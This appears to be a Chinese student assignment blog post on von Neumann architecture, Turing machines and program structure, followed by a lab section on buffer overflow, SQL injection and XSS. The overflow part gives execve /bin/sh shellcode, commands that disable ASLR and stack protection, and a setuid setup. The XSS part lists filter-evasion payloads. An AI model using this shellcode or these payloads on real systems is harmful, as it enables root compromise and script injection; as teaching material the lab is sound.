1、馮·諾依曼體系結構和圖靈機的理解及其二者之間的區別和聯繫
一、馮·諾依曼體系結構
- 定義:美籍匈牙利數學家馮·諾依曼於1946年提出存儲程序原理,把程序自己看成數據來對待,程序和該程序處理的數據用一樣的方式儲存。 馮·諾依曼體系結構馮·諾依曼理論的要點是:計算機的數制採用二進制;計算機應該按照程序順序執行。人們把馮·諾依曼的這個理論稱爲馮·諾依曼體系結構。
- 簡介:從EDVAC到當前最早進的計算機都採用的是馮·諾依曼體系結構。因此馮·諾依曼是當之無愧的數字計算機之父。
- 發展背景:
電子計算機的問世,奠定人是英國科學家艾蘭· 圖靈(Alan Turing)和美籍匈牙利科學家馮· 諾依曼(John Von· Neumann)。圖靈的貢獻是創建了圖靈機的理論模型,奠基了人工智能的基礎。而馮· 諾依曼則是首先提出了計算機體系結構的設想。
1946年美籍匈牙利科學家馮·諾依曼提出存儲程序原理,把程序自己看成數據來對待,程序和該程序處理的數據用一樣的方式存儲,並肯定了存儲程序計算機的五大組成部分和基本工做方法。
半個多世紀以來,計算機制造技術發生了巨大變化,但馮· 諾依曼體系結構仍然沿用至今,人們老是把馮· 諾依曼稱爲「計算機鼻祖」。
- 體系結構:
(1)採用存儲程序方式,指令和數據不加區別混合存儲在同一個存儲器中,數據和程序在內存中是沒有區別的,它們都是內存中的數據,當EIP指針指向哪 CPU就加載那段內存中的數據,若是是不正確的指令格式,CPU就會發生錯誤中斷. 在如今CPU的保護模式中,每一個內存段都有其描述符,這個描述符記錄着這個內存段的訪問權限(可讀,可寫,可執行).這就變相的指定了哪些內存中存儲的是指令哪些是數據)
指令和數據均可以送到運算器進行運算,即由指令組成的程序是能夠修改的。
(2)存儲器是按地址訪問的線性編址的一維結構,每一個單元的位數是固定的。
(3)指令由操做碼和地址組成。操做碼指明本指令的操做類型,地址碼指明操做數和地址。操做數自己無數據類型的標誌,它的數據類型由操做碼肯定。
(4)經過執行指令直接發出控制信號控制計算機的操做。指令在存儲器中按其執行順序存放,由指令計數器指明要執行的指令所在的單元地址。指令計數器只有一個,通常按順序遞增,但執行順序可按運算結果或當時的外界條件而改變。
(5)以運算器爲中心,I/O設備與存儲器間的數據傳送都要通過運算器。
(6)數據以二進制表示。
- 特色:
(1)計算機處理的數據和指令一概用二進制數表示
(2)順序執行程序
計算機運行過程當中,把要執行的程序和處理的數據首先存入主存儲器(內存),計算機執行程序時,將自動地並按順序從主存儲器中取出指令一條一條地執行,這一律念稱做順序執行程序。
(3)計算機硬件由運算器、控制器、存儲器、輸入設備和輸出設備五大部分組成。
- 做用:
馮.諾依曼體系結構是現代計算機的基礎,如今大多計算機還是馮.諾依曼計算機的組織結構,只是做了一些改進而已,並無從根本上突破馮體系結構的束縛。馮.諾依曼也所以被人們稱爲「計算機之父」。然而因爲傳統馮.諾依曼計算機體系結構自然所具備的侷限性,從根本上限制了計算機的發展。
根據馮·諾依曼體系結構構成的計算機,必須具備以下功能:把須要的程序和數據送至計算機中。必須具備長期記憶程序、數據、中間結果及最終運算結果的能力。可以完成各類算術、邏輯運算和數據傳送等數據加工處理的能力。可以根據須要控制程序走向,並能根據指令控制機器的各部件協調操做。可以按照要求將處理結果輸出給用戶。
將指令和數據同時存放在存儲器中,是馮·諾依曼計算機方案的特色之一 計算機由控制器、運算器、存儲器、輸入設備、輸出設備五部分組成 馮·諾依曼提出的計算機體系結構,奠基了現代計算機的結構理念。
- 馮·諾依曼體系工做原理
程序的執行過程其實是不斷地取出指令、分析指令、執行指令的過程。馮·諾依曼型計算機從本質上講是採用串行順序處理的工做機制,即便有關數據已經準備好了,也必須逐條執行指令序列,以下圖所示:
具體過程:
(1)預先把指揮計算機如何進行操做的指令序列(就是程序)和原始數據輸入到計算機內存中(拷貝),每條指令中明確規定了計算機從哪一個地址取數,進行什麼操做,而後送到什麼地方去等步驟。
(2)計算機在執行時,先從內存中取出第一條指令,經過控制器的譯碼器接收指令的要求,再從存儲器中取出數據進行指定的運算和邏輯操做等,而後再按地址把結果送到內存中,若是須要向硬盤等存儲設備存儲數據,還須要將內存中的該數據存儲到硬盤中。接下來取出第2條指令,在控制器的指揮下完成規定操做,依次進行下去,直到遇到中止指令。
(3)計算機中基本上有兩股信息在流動,一種是數據,即各類原始數據、中間結果和程序等,另外一種信息是控制信息,它控制機器的各類部件執行指令規定的各類操做。
二、圖靈機
- 定義:圖靈機就是指一個抽象的機器,它有一條無限長的紙帶,紙帶分紅了一個一個的小方格,每一個方格有不一樣的顏色。有一個機器頭在紙帶上移來移去。機器頭有一組內部狀態,還有一些固定的程序。在每一個時刻,機器頭都要從當前紙帶上讀入一個方格信息,而後結合本身的內部狀態查找程序表,根據程序輸出信息到紙帶方格上,並轉換本身的內部狀態,而後進行移動。
- 基本思想:
圖靈的基本思想是用機器來模擬人們用紙筆進行數學運算的過程,他把這樣的過程看做下列兩種簡單的動做:
(1)在紙上寫上或擦除某個符號;
(2)把注意力從紙的一個位置移動到另外一個位置;
而在每一個階段,人要決定下一步的動做,依賴於 (a) 此人當前所關注的紙上某個位置的符號和(b) 此人當前思惟的狀態。
爲了模擬人的這種運算過程,圖靈構造出一臺假想的機器,該機器由如下幾個部分組成:
1.一條無限長的紙帶 TAPE。紙帶被劃分爲一個接一個的小格子,每一個格子上包含一個來自有限字母表的符號,字母表中有一個特殊的符號 表示空白。紙帶上的格子從左到右依此被編號爲 0,1,2,... ,紙帶的右端能夠無限伸展。
2.一個讀寫頭 HEAD。該讀寫頭能夠在紙帶上左右移動,它能讀出當前所指的格子上的符號,並能改變當前格子上的符號。
3.一套控制規則 TABLE。它根據當前機器所處的狀態以及當前讀寫頭所指的格子上的符號來肯定讀寫頭下一步的動做,並改變狀態寄存器的值,令機器進入一個新的狀態。
4.一個狀態寄存器。它用來保存圖靈機當前所處的狀態。圖靈機的全部可能狀態的數目是有限的,而且有一個特殊的狀態,稱爲停機狀態。參見停機問題。
注意這個機器的每一部分都是有限的,但它有一個潛在的無限長的紙帶,所以這種機器只是一個理想的設備。圖靈認爲這樣的一臺機器就能模擬人類所能進行的任何計算過程。
在某些模型中,讀寫頭沿着固定的紙帶移動。要進行的指令(q1)展現在讀寫頭內。在這種模型中「空白」的紙帶是所有爲 0 的。有陰影的方格,包括讀寫頭掃描到的空白,標記了 1,1,B 的那些方格,和讀寫頭符號,構成了系統狀態。(由 Minsky (1967) p.121 繪製)。
- 查閱相關資料博客
一、帶你深刻理解圖靈機
二、帶你深刻理解圖靈機——天才所在的時代
三、圖靈機簡介和原理分析
三、二者之間的區別和聯繫
2、對「程序=指令+數據」的理解
- 程序:計算機程序是一組計算機能識別和執行的指令,運行於電子計算機上,知足人們某種需求的信息化工具。
它以某些程序設計語言編寫,運行於某種目標結構體系上。打個比方,程序就如同以英語(程序設計語言)寫做的文章,要讓一個懂得英語的人(編譯器)同時也會閱讀這篇文章的人(結構體系)來閱讀、理解、標記這篇文章。通常的,以英語文本爲基礎的計算機程序要通過編譯、連接而成爲人難以解讀,但可輕易被計算機所解讀的數字格式,而後放入運行。程序是一個指令序列。
- 程序的運行:
爲了使計算機程序得以運行,計算機須要加載代碼,同時也要加載數據。從計算機的底層來講,這是由高級語言(例如Java,C/C++,C#等)代碼轉譯成機器語言而被CPU所理解,進行加載。
若是您在一個符合大多數的計算機上,操做系統例如Windows、Linux等,加載並執行不少的程序,在這種狀況下,每個程序是一個單獨的映射,並非計算機上的全部可執行程序。
它是指爲了獲得某種結果而能夠由計算機等具備信息處理能力的裝置執行的代碼化指令序列,或者能夠被自動轉換成代碼化指令序列的符號化指令序列或者符號化語句序列。同一計算機程序的源程序和目標程序爲同一做品。
普林斯頓結構:
普林斯頓結構又作馮·諾伊曼結構,在一臺基於最多見的普林斯頓結構的計算機上,程序一般是經過外存來加載到計算機以內。若是基於這種結構的計算機之上沒有程序做爲支撐,一般沒法工做。全部程序都基於機器語言運行,機器語言是一個以二進制數字(0和1)構成的語言。
通常的,程序是由高級語言編寫,而後在編譯的過程當中,被編譯器/解釋器轉譯爲機器語言,從而得以執行。
javascript
- 指令:計算機從事某一特殊運算的代碼。如:數據傳送指令、算術運算指令、位運算指令、程序流程控制指令、串操做指令、處理器控制指令。
計算機程序發給計算機處理器的命令就是「指令(instruction)」。最低級的指令是一串0和1,表示一項實體做業操做要運行(如「Add」)。根據指令類型,某個具體的存儲領域被稱做「寄存器(register)」,裏面包含了可用於調出指令的數據或數據存儲位置。計算機的彙編語言(assembler)中,每種語言通常只響應單一的處理器指令。而高級語言的每種語言通過程序編輯後能響應多個處理器指令。在彙編語言中,宏指令(macro instruction)在彙編程序處理過程當中會擴展爲多個指令(以編碼過的源宏定義爲基礎)。
組成形式:
指令是指示計算機執行某種操做的命令。它由一串二進制數碼組成。
一條指令一般由兩個部分組成:操做碼+地址碼。
操做碼:指明該指令要完成的操做的類型或性質,如取數、作加法或輸出數據等。
地址碼:指明操做對象的內容或所在的存儲單元地址。html
- 數據:數據結構是計算機存儲、組織數據的方式。數據結構是指相互之間存在一種或多種特定關係的數據元素的集合。一般狀況下,精心選擇的數據結構能夠帶來更高的運行或者存儲效率。數據結構每每同高效的檢索算法和索引技術有關。
- 數據結構的重要意義:
通常認爲,一個數據結構是由數據元素依據某種邏輯聯繫組織起來的。對數據元素間邏輯關係的描述稱爲數據的邏輯結構;數據必須在計算機內存儲,數據的存儲結構是數據結構的實現形式,是其在計算機內的表示;此外討論一個數據結構必須同時討論在該類數據上執行的運算纔有意義。一個邏輯數據結構能夠有多種存儲結構,且各類存儲結構影響數據處理的效率。
在許多類型的程序的設計中,數據結構的選擇是一個基本的設計考慮因素。許多大型系統的構造經驗代表,系統實現的困難程度和系統構造的質量都嚴重的依賴因而否選擇了最優的數據結構。許多時候,肯定了數據結構後,算法就容易獲得了。有些時候事情也會反過來,咱們根據特定算法來選擇數據結構與之適應。不論哪一種狀況,選擇合適的數據結構都是很是重要的。
選擇了數據結構,算法也隨之肯定,是數據而不是算法是系統構造的關鍵因素。這種洞見致使了許多種軟件設計方法和程序設計語言的出現,面向對象的程序設計語言就是其中之一。
結構算法:
算法的設計取決於數據(邏輯)結構,而算法的實現依賴於採用的存儲結構。數據的存儲結構實質上是它的邏輯結構在計算機存儲器中的實現,爲了全面的反映一個數據的邏輯結構,它在存儲器中的映象包括兩方面內容,即數據元素之間的信息和數據元素之間的關係。不一樣數據結構有其相應的若干運算。數據的運算是在數據的邏輯結構上定義的操做算法,如檢索、插入、刪除、更新和排序等。
數據的運算是數據結構的一個重要方面,討論任一種數據結構時都離不開對該結構上的數據運算及其實現算法的討論。
數據結構不一樣於數據類型,也不一樣於數據對象,它不只要描述數據類型的數據對象,並且要描述數據對象各元素之間的相互關係。
數據類型是一個值的集合和定義在這個值集上的一組操做的總稱。數據類型可分爲兩類:原子類型、結構類型。一方面,在程序設計語言中,每個數據都屬於某種數據類型。類型明顯或隱含地規定了數據的取值範圍、存儲方式以及容許進行的運算。能夠認爲,數據類型是在程序設計中已經實現了的數據結構。另外一方面,在程序設計過程當中,當須要引入某種新的數據結構時,老是藉助編程語言所提供的數據類型來描述數據的存儲結構。前端
3、研究如下安全問題(要有實踐),結合上面內容談談他們有什麼共同點,如何抽象出統一的防範方法?(緩衝區溢出 XSS攻擊 SQL注入攻擊)
一、緩衝區溢出漏洞實驗
(1)輸入命令安裝一些用於編譯32位C程序的東西:web
- sudo apt-get update
- sudo apt-get install lib32z1 libc6-dev-i386(第一次安裝時沒有截圖成功)
- sudo apt-get install lib32readline-gplv2-dev
(2)輸入命令「linux32」進入32位linux環境。此時你會發現,命令行用起來沒那麼爽了,好比不能tab補全了,因此輸入「/bin/bash」使用bash:
算法
(1)初始設置:
Ubuntu和其餘一些Linux系統中,使用地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址,這使得猜想準確的內存地址變得十分困難,而猜想內存地址是緩衝區溢出攻擊的關鍵。所以本次實驗中,咱們使用如下命令關閉這一功能:sudo sysctl -w kernel.randomize_va_space=0
此外,爲了進一步防範緩衝區溢出攻擊及其它利用shell程序的攻擊,許多shell程序在被調用時自動放棄它們的特權。所以,即便你能欺騙一個Set-UID程序調用一個shell,也不能在這個shell中保持root權限,這個防禦措施在/bin/bash中實現。
linux系統中,/bin/sh實際是指向/bin/bash或/bin/dash的一個符號連接。爲了重現這一防禦措施被實現以前的情形,咱們使用另外一個shell程序(zsh)代替/bin/bash。下面的指令描述瞭如何設置zsh程序:
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
sql
(2)shellcode
通常狀況下,緩衝區溢出會形成程序崩潰,在程序中,溢出的數據覆蓋了返回地址。而若是覆蓋返回地址的數據是另外一個地址,那麼程序就會跳轉到該地址,若是該地址存放的是一段精心設計的代碼用於實現其餘功能,這段代碼就是shellcode。
觀察如下代碼:
本次實驗的shellcode,就是剛纔代碼的彙編版本:
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80shell
(3)漏洞程序
把如下代碼保存爲「stack.c」文件,保存到 /tmp 目錄下。代碼以下:
經過代碼能夠知道,程序會讀取一個名爲「badfile」的文件,並將文件內容裝入「buffer」。
編譯該程序,並設置SET-UID。命令以下:
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
GCC編譯器有一種棧保護機制來阻止緩衝區溢出,因此咱們在編譯代碼時須要用 –fno-stack-protector 關閉這種機制。
而 -z execstack 用於容許執行棧。數據庫
(4) 攻擊程序
咱們的目的是攻擊剛纔的漏洞程序,並經過攻擊得到root權限。
把如下代碼保存爲「exploit.c」文件,保存到 /tmp 目錄下。代碼以下:
注意上面的代碼,「\x??\x??\x??\x??」處須要添上shellcode保存在內存中的地址,由於發生溢出後這個位置恰好能夠覆蓋返回地址。
而 strcpy(buffer+100,shellcode); 這一句又告訴咱們,shellcode保存在 buffer+100 的位置。
如今咱們要獲得shellcode在內存中的地址,輸入命令:
gdb stack
disass main
截圖結果:
接下來的操做:
根據語句 strcpy(buffer+100,shellcode); 咱們計算shellcode的地址爲 0xffffd2a0(十六進制)+100(十進制)=0xffffd304(十六進制)
如今修改exploit.c文件!將 \x??\x??\x??\x?? 修改成 \x04\xd3\xff\xff
而後,編譯exploit.c程序:gcc -m32 -o exploit exploit.c
(5)攻擊結果
二、SQL注入攻擊
(1)SQL語言
結構化查詢語言(Structured Query Language)簡稱SQL:是一種特殊目的的編程語言,是一種數據庫查詢和程序設計語言,用於存取數據以及查詢、更新和管理關係數據庫系統;同時也是數據庫腳本文件的擴展名。
(2) SQL注入
SQL注入能使攻擊者繞過認證機制,徹底控制遠程服務器上的數據庫。SQL是結構化查詢語言的簡稱,它是訪問數據庫的事實標準。目前,大多數Web應用都使用SQL數據庫來存放應用程序的數據。幾乎全部的Web應用在後臺都使用某種SQL數據庫。跟大多數語言同樣,SQL語法容許數據庫命令和用戶數據混雜在一塊兒的。若是開發人員不細心的話,用戶數據就有可能被解釋成命令,這樣的話,遠程用戶就不只能向Web應用輸入數據,並且還能夠在數據庫上執行任意命令了。
SQL注入技術是利用web應用程序和數據庫服務器之間的接口來篡改網站內容的攻擊技術。經過把SQL命令插入到Web表單提交框、輸入域名框或頁面請求框中,最終欺騙服務器執行惡意的SQL命令。
(3)SQL注入危害
- 非法讀取、篡改、添加、刪除數據庫中的數據。
- 盜取用戶的各種敏感信息,獲取利益。
- 經過修改數據庫來修改網頁上的內容。
- 私自添加或刪除帳號。
- 注入木馬等等。
(4) SQL注入攻擊的過程及原理
SQL注入攻擊是指攻擊者經過在應用程序後臺數據庫的操做中插入一些惡意SQL語句來達到操做數據庫數據的目的。具體來說就是,SQL注入攻擊是攻擊者利用Web應用程序,經過輸入非法字符,來構造惡意的SQL語句,最終將惡意的SQL語句注入到應用的後臺數據庫服務器中。數據庫服務器執行這些惡意SQL語句後,不會按照數據庫數據表設計者的意圖去執行某些操做,而是進行一些非法的操做,進而形成數據庫數據的丟失,損壞等後果。這種注入攻擊方式困擾着衆多Web應用。
(5)SQL注入攻擊的手段
- 沒有正確過濾轉義字符
應用系統的使用者輸入內容,在沒有通過前端驗證,字符串過濾的狀況下,就會發生SQL注入攻擊。非法的輸入傳遞給後臺的SQL語句,SQL語句最終在數據庫中執行非法的操做。
- Incorrect type handling
因爲Web應用使用者所輸入的參數,在傳遞過程當中並非強類型,也沒有實施必要的類型轉換,那麼就會發生Incorrect type handling這種狀況。好比,應用編碼者對用戶輸入的內容並無進行合法性檢驗,本來應該輸入數字,可是編碼者並未進行類型檢驗。
- 數據庫自身的漏洞
某些數據庫因爲自身設計以及實現的漏洞,就會致使攻擊者利用這些漏洞對數據庫服務器進行攻擊。SQLsever有些漏洞會致使攻擊者可以越過訪問權限,執行越權的操做,這樣對數據庫的危害也是極大的。所以應該及時修補數據庫漏洞。
- 盲目SQL注入式攻擊
若是應用系統對於承受的SQL注入攻擊沒有察覺,沒有對攻擊者進行有效的防範,就會發生盲目的SQL注入攻擊。存在SQL注入攻擊點的網頁可能不會給攻擊者展現有用的信息,它會根據注入攻擊者注入到合法語句中的不一樣邏輯,進而顯示不一樣的網頁內容,這種攻擊手段很是的耗費精力,須要攻擊者不斷的精心構造注入語句,一旦發現注入點和注入目標就能夠很順利的獲取想要的信息。
- 條件響應
目前這種SQL注入攻擊方式可以在應用程序的網頁中進行邏輯計算。
- 條件性差錯
經過構造邏輯錯誤來判斷應用程序是否具備註入點。總結概括出該應用所使用的數據庫的類型,數據庫中包含的一些數據表名,字段名等,這樣就能夠爲接下來注入點的尋找提供幫助。
- 時間延誤
經過構造SQL注入語句,使得數據庫判斷邏輯時間變長,經過判斷應用頁面的加載時間來判斷構造的SQL注入語句是否正確。
(6)攻擊的過程主要分爲以下步驟
- 經過屢次輸入不一樣的內容來測試當前的應用系統是否能夠進行SQL注入,若是能夠,那麼進行第二步,若是不能夠,則放棄。
- 經過不斷的輸入測試數據,進而尋找SQL注入攻擊點,找到SQL注入攻擊點後,接下來就要尋找網站中能夠被利用的SQL注入的漏洞。在這裏,咱們能夠經過輸入一些特殊字符,語句來尋找漏洞,同時咱們也能夠根據瀏覽器的返回的數據庫信息,進而能夠判斷該Web應用所使用的數據庫的類型。接下來,咱們就能夠構造數據庫的查詢語句,從而找尋注入點。
- 暴力猜解數據庫中存儲的一些用戶名和密碼,通常狀況下,服務器的數據庫數據表中存放的表名、字段名,字段類型等信息都是有必定規律的。能夠經過構建特殊數據庫語句,這樣能夠在數據庫經過查詢語句來得到用戶的表名、字段名、用戶名和密碼的長度以及內容,網絡上存在着大量的SQL自動化注入工具,這個暴力猜解的過程能夠經過這些工具來快速的實現。
- 能夠着手尋找Web應用管理後臺的入口。一般狀況下,Web後臺管理的界面確定是不會對於普通用戶進行開放的,所以後臺管理界面的路徑是未知的。不過能夠利用網上的一些路徑掃描工具來尋找後臺真正的登錄路徑。這些路徑實際上是有規律可循的,通過不斷的嘗試就能夠找到真正的管理後臺入口的地址。
- 此時能夠進行系統入侵和破壞了。由於剛剛獲得了用戶表的用戶名和密碼,這樣一來,就可以獲取到管理員的用戶名和密碼,從而擁有了管理員權限,登陸管理員帳號,進入應用的管理後臺,隨後就能夠進行篡改網頁、上傳木馬、修改、泄漏用戶信息等一系列的破壞行爲,並進一步入侵數據庫服務器。
(7) 針對SQL注入攻擊的檢測方法
做爲排在威脅Web應用安全十大攻擊手段之首的SQL注入攻擊,在安全產業界和學術界有着不少的深刻研究。在傳統的安全產業界主要檢測和識別SQL注入攻擊有以下兩種技術:一種是基於特徵的關鍵字匹配技術;另外一種是基於異常檢測技術。
- 基於特徵的關鍵字匹配技術:它包含許多關鍵字匹配算法,一個好的匹配算法是這項技術好壞的評價標準之一,目前主要使用的檢測技術就是基於特徵的關鍵字匹配技術,這種技術的核心思想是在SQL語句中抽取出特殊字符(例如#等),提取數據庫的關鍵字(例如:select、union等)。經過提取出來的特殊字符來判斷該SQL語句是否進行了SQL注入攻擊。
- 基於異常檢測技術:它包含基於程序行爲的異常檢測技術,基於數據流的異常檢測技術和基於聚類的異常檢測技術等手段,這種檢測技術被業界分爲學習期與檢測期。在學習期,檢測系統必須擁有不受影響的網絡系統,必須針對須要檢測的Web應用具備專業的學習機制,只有當檢測系統通過不斷的學習,進而學習成熟後,才能進入系統檢期。在系統的檢測期,檢測系統利用其在學習期演變成的準確模型,對傳遞進系統來的用戶輸入數據進行系統地全面分析。
(8)針對SQL注入攻擊的防護措施
- 普通用戶與系統管理員的權限要嚴格區分
- 使用參數化的過濾性SQL語句
- 須要增強對用戶輸入的驗證
- 使用數據庫自帶的安全參數
- 避免出現一些詳細的錯誤消息
- 多層環境防治SQL注入式攻擊
- 使用專業的漏洞掃描工具
- 對數據進行加密處理
- 在Web應用程序開發過程的全部階段實施代碼的安全檢查
SQL注入攻擊防範
(1)在設計應用程序時,徹底使用參數化查詢(Parameterized Query)來設計數據訪問功能。
(2)在組合SQL字符串時,先針對所傳入的參數做字元取代(將單引號字元取代爲連續2個單引號字元)。
(3)若是使用PHP開發網頁程序的話,亦可打開PHP的魔術引號(Magic quote)功能(自動將全部的網頁傳入參數,將單引號字元取代爲連續2個單引號字元)。
(4)其餘,使用其餘更安全的方式鏈接SQL數據庫。例如已修正過SQL注入問題的數據庫鏈接組件,例如ASP.NET的SqlDataSource對象或是 LINQ to SQL。
(5)使用SQL防注入系統。
XSS攻擊
- 基於特徵的防護
XSS漏洞和著名的SQL注入漏洞同樣,都是利用了Web頁面的編寫不完善,因此每個漏洞所利用和針對的弱點都不盡相同。這就給XSS漏洞防護帶來了困難:不可能以單一特徵來歸納全部XSS攻擊。
傳統XSS防護多采用特徵匹配方式,在全部提交的信息中都進行匹配檢查。對於這種類型的XSS攻擊,採用的模式匹配方法通常會須要對「JavaScript」這個關鍵字進行檢索,一旦發現提交信息中包含「javascript」,就認定爲XSS攻擊。這種檢測方法的缺陷顯而易見:駭客能夠經過插入字符或徹底編碼的方式躲避檢測:
(1)在javascript中加入多個tab鍵,獲得
< IMG SRC="jav ascript:alert('XSS');" >;
(2)在javascript中加入(空格)字符,獲得
< IMG SRC="javascri pt:alert('XSS');" >;
(3)在javascript中加入(回車)字符,獲得
< IMG SRC="jav
ascript:alert('XSS');" >;
(4)在javascript中的每一個字符間加入回車換行符,獲得
< IMG SRC="javascrip\r
\nt:alert('XSS');" >
(5)對」javascript:alert(‘XSS’)」採用徹底編碼,獲得
< IMGSRC=javascrip?74:alert('XSS') >
上述方法均可以很容易的躲避基於特徵的檢測。而除了會有大量的漏報外,基於特徵的
還存在大量的誤報可能:在上面的例子中,對上述某網站這樣一個地址,因爲包含了關鍵字「javascript」,也將會觸發報警。
- 基於代碼修改的防護 和SQL注入防護同樣,XSS攻擊也是利用了Web頁面的編寫疏忽,因此還有一種方法就是從Web應用開發的角度來避免: 對全部用戶提交內容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、POST數據等,僅接受指定長度範圍內、採用適當格式、採用所預期的字符的內容提交,對其餘的一概過濾。 實現Session標記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查,以防功能被第三方網站所執行。確認接收的的內容被妥善的規範化,僅包含最小的、安全的Tag(沒有javascript),去掉任何對遠程內容的引用(尤爲是樣式表和javascript),使用HTTP only的cookie。 固然,如上操做將會下降Web業務系統的可用性,用戶僅能輸入少許的制定字符,人與系統間的交互被降到極致,僅適用於信息發佈型站點。而且考慮到不多有Web編碼人員受過正規的安全培訓,很難作到徹底避免頁面中的XSS漏洞。